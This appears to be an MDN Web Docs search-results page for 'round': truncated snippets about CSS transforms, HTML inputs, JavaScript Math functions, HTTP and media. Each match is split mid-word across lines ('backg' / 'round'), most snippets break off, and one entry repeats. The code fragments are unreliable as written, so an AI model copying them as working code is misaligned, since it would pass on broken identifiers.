round-color: skyblue; } .rotated { transform: rotatez(45deg); backg
round-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatez()' in that specification.
scale() - CSS: Cascading Style Sheets
find out more: mdn understanding wcag, guideline 2.3 explanations understanding success criterion 2.3.3 | w3c understanding wcag 2.1 examples scaling the x and y dimensions together html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .scaled { transform: scale(0.7); /* equal to scalex(0.7) scaley(0.7) */ backg
round-color: pink; } result scaling x and y dimensions separately, and translating the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .scaled { transform: scale(2, 0.5); /* equal to scalex(2) scaley(...
...0.5) */ transform-origin: left; backg
round-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scale()' in that specification.
scale3d() - CSS: Cascading Style Sheets
sx000sy000sz sx0000sy0000sz00001 examples without changing the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .scaled { transform: perspective(500px) scale3d(2, 0.7, 0.2) translatez(100px); backg
round-color: pink; } result translating the origin of the transformation html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .scaled { transform: perspective(500px) scale3d(2, 0.7, 0.2) translatez(100px)...
...; transform-origin: left; backg
round-color: pink; } result specifications specification status comment css transforms level 2the definition of 'scale3d()' in that specification.
translate3d() - CSS: Cascading Style Sheets
100tx010ty001tz0001 examples using a single axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; backg
round-color: skyblue; } .moved { /* equivalent to perspective(500px) translatex(10px) */ transform: perspective(500px) translate3d(10px, 0, 0px); backg
round-color: pink; } result combining z-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; backg
round-color: skyblue; } .moved { transform: per...
...spective(500px) translate3d(10px, 0, 100px); backg
round-color: pink; } result specifications specification status comment css transforms level 2the definition of 'translate3d()' in that specification.
transform-style - CSS: Cascading Style Sheets
ckbox" id="preserve" checked> </div> css #example-element { margin: 50px; width: 100px; height: 100px; transform-style: preserve-3d; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front { backg
round: rgba(90,90,90,.7); transform: translatez(50px); } .back { backg
round: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { backg
round: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left { backg
round: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top { backg
round: rgba(210,210,0,.7); transform: rotatex(90deg) ...
...translatez(50px); } .bottom { backg
round: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } javascript const cube = document.getelementbyid('example-element'); const checkbox = document.getelementbyid('preserve'); checkbox.addeventlistener('change', () => { if(checkbox.checked) { cube.style.transformstyle = 'preserve-3d'; } else { cube.style.transformstyle = 'flat'; } }) result specifications specification status comment css transforms level 2the definition of 'transform-style' in that specification.
transition-timing-function - CSS: Cascading Style Sheets
amples cubic-bezier examples <div class="parent"> <div class="ease">ease</div> <div class="easein">ease-in</div> <div class="easeout">ease-out</div> <div class="easeinout">ease-in-out</div> <div class="linear">linear</div> <div class="cb">cubic-bezier(0.2,-2,0.8,2)</div> </div> .parent {} .parent > div[class] { width: 12em; min-width: 12em; margin-bottom: 4px; backg
round-color: black; border: 1px solid red; color: white; transition-property: all; transition-duration: 7s; } .parent > div.box1{ width: 90vw; min-width: 24em; backg
round-color: magenta; color: yellow; border: 1px solid orange; transition-property: all; transition-duration: 2s; } function updatetransition() { var els = document.queryselectorall(".parent >...
... step examples <div class="parent"> <div class="jump-start">jump-start</div> <div class="jump-end">jump-end</div> <div class="jump-both">jump-both</div> <div class="jump-none">jump-none</div> <div class="step-start">step-start</div> <div class="step-end">step-end</div> </div> .parent {} .parent > div[class] { width: 12em; min-width: 12em; margin-bottom: 4px; backg
round-color: black; border: 1px solid red; color: white; transition-property: all; transition-duration:7s; } .parent > div.box1{ width: 90vw; min-width: 24em; backg
round-color: magenta; color: yellow; border: 1px solid orange; transition-property: all; transition-duration:2s; } function updatetransition() { var els = document.queryselectorall(".parent > d...
Used value - CSS: Cascading Style Sheets
the used values of shorthand properties (e.g., backg
round) are consistent with those of their component properties (e.g., backg
round-color or backg
round-size) and with position and float.
...the following are the css 2.1 properties that do depend on layout, so they have a different computed value and used value: (taken from css 2.1 changes: specified, computed, and actual values): backg
round-position bottom, left, right, top height, width margin-bottom, margin-left, margin-right, margin-top min-height, min-width padding-bottom, padding-left, padding-right, padding-top text-indent specification specification status comment css level 2 (revision 2)the definition of 'used value' in that specification.
width - CSS: Cascading Style Sheets
, table rows, and row groupsinheritednopercentagesrefer to the width of the containing blockcomputed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples default width p.goldie { backg
round: gold; } <p class="goldie">the mozilla community produces a lot of great software.</p> pixels and ems .px_length { width: 200px; backg
round-color: red; color: white; border: 1px solid black; } .em_length { width: 20em; backg
round-color: white; color: red; border: 1px solid black; } <div class="px_length">width measured in px</div> <div class="em_length">width measured in e...
...m</div> percentage .percent { width: 20%; backg
round-color: silver; border: 1px solid red; } <div class="percent">width in percentage</div> max-content p.maxgreen { backg
round: lightgreen; width: intrinsic; /* safari/webkit uses a non-standard name */ width: -moz-max-content; /* firefox/gecko */ width: -webkit-max-content; /* chrome */ width: max-content; } <p class="maxgreen">the mozilla community produces a lot of great software.</p> min-content p.minblue { backg
round: lightblue; width: -moz-min-content; /* firefox */ width: -webkit-min-content; /* chrome */ width: min-content; } <p class="minblue">the mozilla community produces a lot of great software.</p> specifications specification status comment css bo...
Mobile Web Development - Developer guides
for example, if you set a gradient as a backg
round for some text using a vendor-prefixed property like -webkit-linear-gradient, it's best to include the other vendor-prefixed versions of the linear-gradient() property.
... if you don't do that, at least make sure that the default backg
round contrasts with the text: that way, the page will at least be usable in a browser which is not targeted by your linear-gradient rule.
The Unicode Bidirectional Text Algorithm - Developer guides
initial unicode bidi algorithm control characters character code point html entity markup equivalent description left-to-right isolate (lri) u+2066 ⁦ dir="ltr" sets the base direction to ltr, isolating the embedded content from the sur
rounding text right-to-left isolate (lri) u+2067 ⁧ dir="rtl" sets the base direction to rtl, isolating the embedded content from the sur
rounding text first strong isolate (fsi) u+2068 ⁨ dir="auto" isolates the content and sets the base direction according to the first strongly-typed directional character in the embedded content left-to-ri...
...ght embedding (lre) u+202a ‪ dir="ltr" sets the base direction to ltr but allows the embedded text to interact with the sur
rounding content; this risks the effect spilling over to the outer content right-to-left embedding (rle) u+202b ‫ dir="rtl" sets the base direction to rtl, but lets the embedded text interact with the sur
rounding content, risking spillover effects left-to-right override (lro) u+202d ‭ <bdo dir="ltr"> overrides the bidi algorithm, displaying the characters in memory order, from left to right right-to-left override (rlo) u+202e ‮ <bdo dir="rtl"> overrides the bidi algorithm and displays the embedded characters in reverse memory order, from right to left closing unic...
<a>: The Anchor element - HTML: Hypertext Markup Language
<a href="" download="my_painting.png">download my painting</a> </p> <canvas width="300" height="300"></canvas> css html { font-family: sans-serif; } canvas { backg
round: #fff; border: 1px dashed; } a { display: inline-block; backg
round: #69c; color: #fff; padding: 5px 10px; } javascript var canvas = document.queryselector('canvas'), c = canvas.getcontext('2d'); c.fillstyle = 'hotpink'; function draw(x, y) { if (isdrawing) { c.beginpath(); c.arc(x, y, 10, 0, math.pi*2); c.closepath(); c.fill(); } } canvas.addeventlistener('mo...
... <body> <a href="#content">skip to main content</a> <header> … </header> <main id="content"> <!-- the skip link jumps to here --> .skip-link { position: absolute; top: -3em; backg
round: #fff; } .skip-link:focus { top: 0; } skip links let keyboard users bypass content repeated throughout multiple pages, such as header navigation.
<em>: The Emphasis element - HTML: Hypertext Markup Language
usage notes the <em> element is for words that have a stressed emphasis compared to sur
rounding text, which is often limited to a word or words of a sentence and affects the meaning of the sentence itself.
...use the <strong> element to mark text that has greater importance than sur
rounding text.
<img>: The Image Embed element - HTML: Hypertext Markup Language
deprecated attributes align aligns the image with its sur
rounding context.
...allowed values: top equivalent to vertical-align: top or vertical-align: text-top middle equivalent to vertical-align: -moz-middle-with-baseline bottom the default, equivalent to vertical-align: unset or vertical-align: initial left equivalent to float: left right equivalent to float: right border the width of a border a
round the image.
<input type="checkbox"> - HTML: Hypertext Markup Language
generally this is a square but it may have
rounded corners.
... <input type="checkbox" id="other" name="interest" value="other"> <label for="other">other</label> <input type="text" id="othervalue" name="other"> </div> <div> <button type="submit">submit form</button> </div> </fieldset> </form> css html { font-family: sans-serif; } form { width: 600px; margin: 0 auto; } div { margin-bottom: 10px; } fieldset { backg
round: cyan; border: 5px solid blue; } legend { padding: 10px; backg
round: blue; color: cyan; } javascript var othercheckbox = document.queryselector('input[value="other"]'); var othertext = document.queryselector('input[id="othervalue"]'); othertext.style.visibility = 'hidden'; othercheckbox.addeventlistener('change', () => { if(othercheckbox.checked) { othertext.style.visibility = ...
<input type="date"> - HTML: Hypertext Markup Language
note: when the data entered by the user doesn't adhere to the stepping configuration, the user agent may
round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.
...for example: ddmmyyyy dd/mm/yyyy mm/dd/yyyy dd-mm-yyyy mm-dd-yyyy month dd, yyyy one way a
round this is the pattern attribute on your date input.
<input type="datetime-local"> - HTML: Hypertext Markup Language
note: when the data entered by the user doesn't adhere to the stepping configuration, the user agent may
round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.
... one way a
round this is to put a pattern attribute on your datetime-local input.
<input type="file"> - HTML: Hypertext Markup Language
a"> <div> <label for="image_uploads">choose images to upload (png, jpg)</label> <input type="file" id="image_uploads" name="image_uploads" accept=".jpg, .jpeg, .png" multiple> </div> <div class="preview"> <p>no files currently selected for upload</p> </div> <div> <button>submit</button> </div> </form> html { font-family: sans-serif; } form { width: 580px; backg
round: #ccc; margin: 0 auto; padding: 20px; border: 1px solid black; } form ol { padding-left: 0; } form li, div > p { backg
round: #eee; display: flex; justify-content: space-between; margin-bottom: 10px; list-style-type: none; border: 1px solid black; } form img { height: 64px; order: 1; } form p { line-height: 32px; padding-left: 10px; } form label, form button { ba...
...ckg
round-color: #7f9ccb; padding: 5px 10px; border-radius: 5px; border: 1px ridge black; font-size: 0.8rem; height: auto; } form label:hover, form button:hover { backg
round-color: #2d5ba3; color: white; } form label:active, form button:active { backg
round-color: #0d3f8f; color: white; } this is similar to what we've seen before — nothing special to comment on.
<input type="image"> - HTML: Hypertext Markup Language
<input id="image" type="image" src="/static/external/62/62ac2ecddbec0e0b540098c28451e57203e5cab46dfed7ab0115d5a659fcfb7b.png" alt="login" width="200" height="100"> </div> </form> css div { margin-bottom: 10px; } label { display: inline-block; width: 70px; text-align: right; padding-right: 10px; } #image { object-position: right top; object-fit: contain; backg
round-color: #ddd; } here, object-position is configured to draw the image at the top-right corner of the element, while object-fit is set to contain, which indicates that the image should be drawn at the largest size that will fit within the element's box without altering its aspect ratio.
... note the visible grey backg
round of the element still visible in the area not covered by the image.
<input type="month"> - HTML: Hypertext Markup Language
note: when the data entered by the user doesn't adhere to the stepping configuration, the user agent may
round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.
... one way a
round this is to put a pattern attribute on your month input.
<input type="range"> - HTML: Hypertext Markup Language
note: when the data entered by the user doesn't adhere to the stepping configuration, the user agent may
round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.
...offsetting the origin by 75px on each axis means we will rotate a
round the center of that space.
<input type="search"> - HTML: Hypertext Markup Language
no forward slashes should be specified a
round the pattern text.
...one way a
round this that won't impact on your visual design is to use wai-aria features: a role attribute of value search on the <form> element will cause screenreaders to announce that the form is a search form.
<input type="tel"> - HTML: Hypertext Markup Language
unlike <input type="email"> and <input type="url"> , the input value is not automatically validated to a particular format before the form can be submitted, because formats for telephone numbers vary so much a
round the world.
...no forward slashes should be specified a
round the pattern text.
<input type="text"> - HTML: Hypertext Markup Language
no forward slashes should be specified a
round the pattern text.
...look at the following example: <form> <div> <label for="uname">choose a username: </label> <input type="text" id="uname" name="name" placeholder="lower case, all one word"> </div> <div> <button>submit</button> </div> </form> you can see how the placeholder is rendered below: the placeholder is typically rendered in a lighter color than the element's foreg
round color, and automatically vanishes when the user begins to enter text into the field (or whenever the field has a value set programmatically by setting its value attribute.
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
most modern browsers implement this by sur
rounding the text in quotation marks.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlquoteelement usage note: most modern browsers will automatically add quotation marks a
round text inside a <q> element.
<style>: The Style Information element - HTML: Hypertext Markup Language
<!doctype html> <html> <head> <style> p { color: white; backg
round-color: blue; padding: 5px; border: 1px solid black; } </style> <style> p { color: blue; backg
round-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> including a media query in this example we build on the previous one, including a media attribute on the second <style> element so it is only applied when the viewpor...
... <!doctype html> <html> <head> <style> p { color: white; backg
round-color: blue; padding: 5px; border: 1px solid black; } </style> <style media="all and (max-width: 500px)"> p { color: blue; backg
round-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> technical summary content categories metadata content, and if the scoped attribute is present: flow content.
<textarea> - HTML: Hypertext Markup Language
other major browsers place the insertion point at the beginning of the text.notes a default backg
round-image gradient is applied to all <textarea> elements, which can be disabled using backg
round-image: none.ie full support yesopera full support yessafari full support yeswebview android full support yeschrome android ...
...other major browsers place the insertion point at the beginning of the text.notes a default backg
round-image gradient is applied to all <textarea> elements, which can be disabled using backg
round-image: none.opera android full support yessafari ios full support yesnotes full support yesnotes notes unlike other major browsers, a default style of opacity: 0.4 is app...
<th> - HTML: Hypertext Markup Language
bgcolor this attribute defines the backg
round color of each cell in a column.
...to create a similar effect use the backg
round-color property in css instead.
Inline elements - HTML: Hypertext Markup Language
first, some simple css that we'll be using: .highlight { backg
round-color:#ee3; } inline let's look at the following example which demonstrates an inline element: <div>the following span is an <span class="highlight">inline element</span>; its backg
round has been colored to display both the beginning and end of the inline element's influence.</div> in this example, the <div> block-level element contains some text.
...because the <span> element is inline, the paragraph correctly renders as a single, unbroken text flow, like this: for looks, this css (not displayed in standard reading mode) is also used: body { margin: 0; padding: 4px; border: 1px solid #333; } .highlight { backg
round-color:#ee3; } block-level now let's change that <span> into a block-level element, such as <p>: <div>the following paragraph is a <p class="highlight">block-level element;</p> its backg
round has been colored to display both the beginning and end of the block-level element's influence.</div> the css (not displayed in standard reading mode) is also used: body { margin: 0; padding: 4px; border: 1px solid #333; } .highlight { backg
round-...
Preloading content with rel="preload" - HTML: Hypertext Markup Language
a="(max-width: 600px)"> <link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)"> <link rel="stylesheet" href="main.css"> </head> <body> <header> <h1>my site</h1> </header> <script> var mediaquerylist = window.matchmedia("(max-width: 600px)"); var header = document.queryselector('header'); if (mediaquerylist.matches) { header.style.backg
roundimage = 'url(bg-image-narrow.png)'; } else { header.style.backg
roundimage = 'url(bg-image-wide.png)'; } </script> </body> we include media attributes on our <link> elements so that a narrow image is preloaded if the user has a narrow viewport, and a wider image is loaded if they have a wide viewport.
... <link rel="prerender"> renders a specified webpage in the backg
round, speeding up its load if the user navigates to it.
HTML: Hypertext Markup Language
an html element is set off from other text in a document by "tags", which consist of the element name sur
rounded by "<" and ">".
... get started beginner's tutorials our html learning area features multiple modules that teach html from the g
round up — no previous knowledge required.
Evolution of HTTP - HTTP
org/docs/glossary/simple_header 200 ok connection: keep-alive content-encoding: gzip content-type: text/html; charset=utf-8 date: wed, 20 jul 2016 10:55:30 gmt etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" keep-alive: timeout=5, max=1000 last-modified: tue, 19 jul 2016 00:59:33 gmt server: apache transfer-encoding: chunked vary: cookie, accept-encoding (content) get /static/img/header-backg
round.png http/1.1 host: developer.cdn.mozilla.net user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 accept: */* accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/docs/glossary/simple_header 200 ok age: 9578461 cache-control: public, max-age=315360000 connection: keep-alive content-length: 3077 content-...
...a
round 1996, http has been extended to allow authoring, and a standard called webdav was created.
HTTP headers - HTTP
the provided pixel value is a number
rounded to the smallest following integer (i.e.
...the provided pixel value is a number
rounded to the smallest following integer (i.e.
Link prefetching FAQ - HTTP
what if i'm downloading something in the backg
round?
...if you are downloading something using mozilla, link prefetching will be delayed until any backg
round downloads complete.
Proxy Auto-Configuration (PAC) file - HTTP
be careful to note the parentheses a
round the or expression before the and expression to achieve the above-mentioned efficient behaviour.
...they have defined some new "ex" suffixed functions a
round the address handling parts to support ipv6.
CSS Houdini
li { backg
round-image: paint(mycomponent, stroke, 10px); --highlights: blue; --lowlights: green; } note: with great power comes great responsibility!
... css painting api developed to improve the extensibility of css — allows developers to write javascript functions that can draw directly into an element's backg
round, border, or content via the paint() css function.
Expressions and operators - JavaScript
suppose you define the following variables: var myfun = new function('5 + 2'); var shape = '
round'; var size = 1; var foo = ['apple', 'mango', 'orange']; var today = new date(); the typeof operator returns the following results for these variables: typeof myfun; // returns "function" typeof shape; // returns "string" typeof size; // returns "number" typeof foo; // returns "object" typeof today; // returns "object" typeof doesntexist; // returns "undefined" ...
...the parentheses sur
rounding the expression are optional, but it is good style to use them.
Introduction - JavaScript
what you should already know this guide assumes you have the following basic backg
round: a general understanding of the internet and the world wide web (www).
...for the sake of simplicity, it can be imagined that every time something is entered into the console, it is actually sur
rounded by console.log a
round eval, like so: function greetme(yourname) { alert("hello " + yourname) } console.log(eval('3 + 5')) multi-line input in the web console the single-line input mode of the web console is great for quick testing of javascript expressions, but although you can execute multiple lines, it's not very convenient for that.
Using Promises - JavaScript
creating a promise a
round an old callback api a promise can be created from scratch using its constructor.
....then(() => morecriticalstuff()) .catch(e => console.error("critical failure: " + e.message)); note that the optional steps here are nested, not from the indentation, but from the precarious placement of the outer ( and ) a
round them.
SyntaxError: Unexpected token - JavaScript
for (let i = 0; i < 5,; ++i) { console.log(i); } // syntaxerror: expected expression, got ')' correct would be omitting the comma or adding another expression: for (let i = 0; i < 5; ++i) { console.log(i); } not enough brackets sometimes, you leave out brackets a
round if statements: function
round(n, upperbound, lowerbound){ if(n > upperbound) || (n < lowerbound){ throw 'number ' + string(n) + ' is more than ' + string(upperbound) + ' or less than ' + string(lowerbound); }else if(n < ((upperbound + lowerbound)/2)){ return lowerbound; }else{ return upperbound; } } // syntaxerror: expected expression, got '||' the brackets may look correct ...
...correct would be putting brackets a
round the ||: function
round(n, upperbound, lowerbound){ if((n > upperbound) || (n < lowerbound)){ throw 'number ' + string(n) + ' is more than ' + string(upperbound) + ' or less than ' + string(lowerbound); }else if(n < ((upperbound + lowerbound)/2)){ return lowerbound; }else{ return upperbound; } } ...
Arrow function expressions - JavaScript
ctions var elements = [ 'hydrogen', 'helium', 'lithium', 'beryllium' ]; // this statement returns the array: [8, 6, 7, 9] elements.map(function(element) { return element.length; }); // the regular function above can be written as the arrow function below elements.map((element) => { return element.length; }); // [8, 6, 7, 9] // when there is only one parameter, we can remove the sur
rounding parentheses elements.map(element => { return element.length; }); // [8, 6, 7, 9] // when the only statement in an arrow function is `return`, we can remove `return` and remove // the sur
rounding curly brackets elements.map(element => element.length); // [8, 6, 7, 9] // in this case, because we only need the length property, we can use destructuring parameter: // notice that the `length` co...
... thus, in the following code, the this within the function that is passed to setinterval has the same value as the this in the lexically enclosing function: function person(){ this.age = 0; setinterval(() => { this.age++; // |this| properly refers to the person object }, 1000); } var p = new person(); relation with strict mode given that this comes from the sur
rounding lexical context, strict mode rules with regard to this are ignored.
BigInt - JavaScript
however, since these are bigints and not bigdecimals, this operation will
round towards 0 (which is to say, it will not return any fractional digits).
... const expected = 4n / 2n // ↪ 2n const
rounded = 5n / 2n // ↪ 2n, not 2.5n comparisons a bigint is not strictly equal to a number, but it is loosely so: 0n === 0 // ↪ false 0n == 0 // ↪ true a number and a bigint may be compared as usual: 1n < 2 // ↪ true 2n > 1 // ↪ true 2 > 2 // ↪ false 2n > 2 // ↪ false 2n >= 2 // ↪ true they may be mixed in arrays and sorted: const mixed = [4n, 6, -12n, 10, 4, 0, 0n] // ↪ [4n, 6, -12n, 10, 4, 0, 0n] mixed.sort() // default sorting behavior // ↪ [ -12n, 0, 0n, 10, 4n, 4, 6 ] mixed.sort((a, b) => a - b) // won't work since subtraction will not work with mixed types // typeerror: can't convert bigint to number // sort with an appropri...
Math.floor() - JavaScript
(+value[1] + exp) : exp)); } // decimal
round const
round10 = (value, exp) => decimaladjust('
round', value, exp); // decimal floor const floor10 = (value, exp) => decimaladjust('floor', value, exp); // decimal ceil const ceil10 = (value, exp) => decimaladjust('ceil', value, exp); //
round round10(55.55, -1); // 55.6
round10(55.549, -1); // 55.5
round10(55, 1); // 60
round10(54.9, 1); // 50
round10(-55.55, -1); // -55.5
round10...
...(-55.551, -1); // -55.6
round10(-55, 1); // -50
round10(-55.1, 1); // -60 // floor floor10(55.59, -1); // 55.5 floor10(59, 1); // 50 floor10(-55.51, -1); // -55.6 floor10(-51, 1); // -60 // ceil ceil10(55.51, -1); // 55.6 ceil10(51, 1); // 60 ceil10(-55.59, -1); // -55.5 ceil10(-59, 1); // -50 specifications specification ecmascript (ecma-262)the definition of 'math.floor' in that specification.
Math.log1p() - JavaScript
1 + 1e-15 = 1.000000000000001, but 1 + 1e-16 = 1.000000000000000 and therefore exactly 1.0 in that arithmetic, because digits past 15 are
rounded off.
... instead, you will end up taking the logarithm of 1.00000000000000111022 (the
roundoff is in binary so sometimes it gets ugly), so you get the answer 1.11022...e-15, with only 3 correct digits.
Math.random() - JavaScript
examples note that as numbers in javascript are ieee 754 floating point numbers with
round-to-nearest-even behavior, the ranges claimed for the functions below (excluding the one for math.random() itself) aren't exact.
... function getrandomint(min, max) { min = math.ceil(min); max = math.floor(max); return math.floor(math.random() * (max - min) + min); //the maximum is exclusive and the minimum is inclusive } it might be tempting to use math.
round() to accomplish that, but doing so would cause your random numbers to follow a non-uniform distribution, which may not be acceptable for your needs.
Math.random() - JavaScript
examples note that as numbers in javascript are ieee 754 floating point numbers with
round-to-nearest-even behavior, the ranges claimed for the functions below (excluding the one for math.random() itself) aren't exact.
... function getrandomint(min, max) { min = math.ceil(min); max = math.floor(max); return math.floor(math.random() * (max - min) + min); //the maximum is exclusive and the minimum is inclusive } it might be tempting to use math.
round() to accomplish that, but doing so would cause your random numbers to follow a non-uniform distribution, which may not be acceptable for your needs.
Math - JavaScript
math.f
round(x) returns the nearest single precision float representation of x.
... math.
round(x) returns the value of the number x
rounded to the nearest integer.
Number - JavaScript
a number only keeps about 17 decimal places of precision; arithmetic is subject to
rounding.
... a possible worka
round is to use string instead.
String.prototype.replace() - JavaScript
let re = /apples/gi; let str = 'apples are
round, and apples are juicy.'; let newstr = str.replace(re, 'oranges'); console.log(newstr); // oranges are
round, and oranges are juicy.
... this logs 'oranges are
round, and oranges are juicy'.
Web app manifests
click each one for more information about it: backg
round_colorcategoriesdescriptiondirdisplayiarc_rating_idiconslangnameorientationprefer_related_applicationsrelated_applicationsscopescreenshotsserviceworkershort_nameshortcutsstart_urltheme_color example manifest { "name": "hackerweb", "short_name": "hackerweb", "start_url": ".", "display": "standalone", "backg
round_color": "#fff", "description": "a simply readable hacker news app.", "i...
...this splashscreen is auto-generated from properties in the web app manifest, specifically: name backg
round_color the icon in the icons array that is closest to 128dpi for the device.
<menclose> - MathML
mathbackg
round the backg
round color.
... box a2 + b2 box
roundedbox a2 + b2
rounded box circle a2 + b2 circle left a2 + b2 line to the left of the contents right a2 + b2 line to the right of the contents top a2 + b2 line above of the contents bottom a2 + b2 line below of the contents upd...
<mmultiscripts> - MathML
to learn more about the mathematical backg
round of tensors refer to the entry on wikipedia.
... mathbackg
round the backg
round color.
<mo> - MathML
mathbackg
round the backg
round color.
... symmetric if stretchy is true, this attribute specifies whether the operator should be vertically symmetric a
round the imaginary math axis (centered fraction line).
Image file type and format guide - Web media technologies
you can display an svg image anywhere you can use any of the other image types, including with the <img> and <picture> elements, the backg
round-image css property, and so forth.
...modern browsers have not supported xbm files in many years, but when dealing with older content, you may find some still a
round.
Digital video concepts - Web media technologies
yuv unlike rgb, the yuv (or y'uv) color encoding system is based a
round how humans perceive a color image.
... because the eye has vastly more rods than cones (about 120 million rods to a
round 6 or 7 million cones), we see detail in greyscale, with color being far less detailed.
Codecs used by WebRTC - Web media technologies
comfort noise (cn) is a form of artificial backg
round noise which is used to fill gaps in a transmission instead of using pure silence.
... licensing terms before choosing a video codec, make sure you're aware of any licensing requirements a
round the codec you select; you can find information about possible licensing concerns in our main guide to video codecs used on the web.
The "codecs" parameter in common media types - Web media technologies
or resilient code-excited linear prediction) hq, ld 25 er hvxc (error resilient harmonic vector excitation coding) ld 26 er hiln (error resilient harmonic and individual line plus noise) 27 er parametric (error resilient parametric) 28 ssc (sinusoidal coding) 29 ps (parametric stereo) he-aac v2 30 mpeg sur
round 31 escape 32 mpeg-1 layer-1 33 mpeg-1 layer-2 (mp2) 34 mpeg-1 layer-3 (mp3) 35 dst (direct stream transfer) 36 als (audio lossless) 37 sls (scalable lossless) 38 sls non-core (scalable lossless non-core) 39 er aac eld (error resilient aac enhanced low del...
...ay) 40 smr simple (symbolic music representation simple) 41 smr main (symbolic music representation main) 42 reserved 43 saoc (spatial audio object coding)[1] 44 ld mpeg sur
round (low delay mpeg sur
round)[1] 45 and up reserved [1] saoc and ld mpeg sur
round are defined in iso/iec 14496-3:2009/amd.2:2010(e).
Using images in HTML - Web media technologies
areas of the box which aren't covered by the replaced element's object will show the element's backg
round.
... backg
round-image the backg
round-image css property sets one or more backg
round images for an element.
CSS and JavaScript animation performance - Web Performance
developers can create an animation by simply changing an element's style each time the loop is called (or updating the canvas draw, or whatever.) note: like css transitions and animations, requestanimationframe() pauses when the current tab is pushed into the backg
round.
... note: in nightly/developer edition, you should see that omta is enabled by default, so you might have to do the tests the other way a
round (test with it enabled first, then disable to test without omta.) summary browsers are able to optimize rendering flows.
Recommended Web Performance Timings: How long is too long? - Web Performance
a second should be considered a rule in the maximum amount of time to indicate to a user that the request for new content was made and will load, such as the browser displaying the page title and the backg
round color of the page displaying.
...there are different suggested times for initially loading the page versus loading additional assets, responding to user interaction, and ensuring smooth animations: idling goal browsers are single threaded (though backg
round threads are supported for web workers).
Understanding latency - Web Performance
latency can be measured one way, for example, the amount of time it takes to send a request for resources, or the length of the entire
round-trip from the browser’s request for a resource to the moment when the requested resource arrives at the browser.
... it is generally measured as a
round trip delay.
Web Performance
additional tips like removing audio tracks from backg
round videos can improve performance even further.
...e first contentful paint first cpu idle first input delay first interactive first meaningful paint first paint http http/2 jank latency lazy load long task lossless compression lossy compression main thread minification network throttling packet page load time page prediction parse perceived performance prefetch prerender quic rail real user monitoring resource timing
round trip time (rtt) server timing speculative parsing speed index ssl synthetic monitoring tcp handshake tcp slow start time to first byte time to interactive tls transmission control protocol (tcp) tree shaking web performance documents yet to be written javascript performance best practices javascript, when used properly, can allow for interactive and immersive web experiences .
Installing and uninstalling web apps - Progressive web apps (PWAs)
by reducing the user experience differential between the web app and native apps on the user's device, you reduce both the loss of any muscle memory they have revolving a
round the native interface of the device and the sensation of "something isn't quite right" that users can experience when switching between native and web-based apps.
... when you tap the web app's icon on the home screen, it opens up in a full screen web environment, without the browser's ui a
round it.
Graphic design for responsive sites - Progressive web apps (PWAs)
there are a number of worka
rounds, but none of them are perfect right now.
...you could use css3 properties for generating effects like drop shadows, gradients and
rounded corners, and you could also consider using svg for other ui elements, instead of raster graphics formats.
Media - Progressive web apps (PWAs)
example these rules specify styles for a button that changes dynamically as the user interacts with it: .green-button { backg
round-color:#cec; color:#black; border:2px outset #cec; padding: 5px 10px; } .green-button[disabled] { backg
round-color:#cdc; color:#777; } .green-button:active, .green-button.active { border-style: inset; } <table> <tbody> <tr> <td><button class="green-button" disabled>click me</button></td> <td><button class="green-button">click me</button></td> <td><button class="gr...
...een-button active">click me</button></td> </tr> <tr style="line-height:25%;"> <td> </td> </tr> <tr style="font-style:italic;"> <td>disabled</td> <td>normal</td> <td>active</td> </tr> </tbody> </table> live sample a fully functional button also has a dark outline a
round the entire button when it is the default, and a dotted outline on the face of the button when it has keyboard focus.
Structural overview of progressive web apps - Progressive web apps (PWAs)
it works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance — loading a page requires a new
round trip to the server.
... var button = document.getelementbyid("notifications"); button.addeventlistener('click', function(e) { notification.requestpermission().then(function(result) { if (result === 'granted') { randomnotification(); } }); }); the randomnotification() function follows,
rounding out the last of the code in the file: function randomnotification() { var randomitem = math.floor(math.random()*games.length); var notiftitle = games[randomitem].name; var notifbody = 'created by '+games[randomitem].author+'.'; var notifimg = 'data/img/'+games[randomitem].slug+'.jpg'; var options = { body: notifbody, icon: notifimg } var notif = new notification(notift...
SVG Attribute reference - SVG: Scalable Vector Graphics
eprofile bbox begin bias by c calcmode cap-height class clip clippathunits clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering contentscripttype contentstyletype cursor cx cy d d decelerate descent diffuseconstant direction display divisor dominant-baseline dur dx dy e edgemode elevation enable-backg
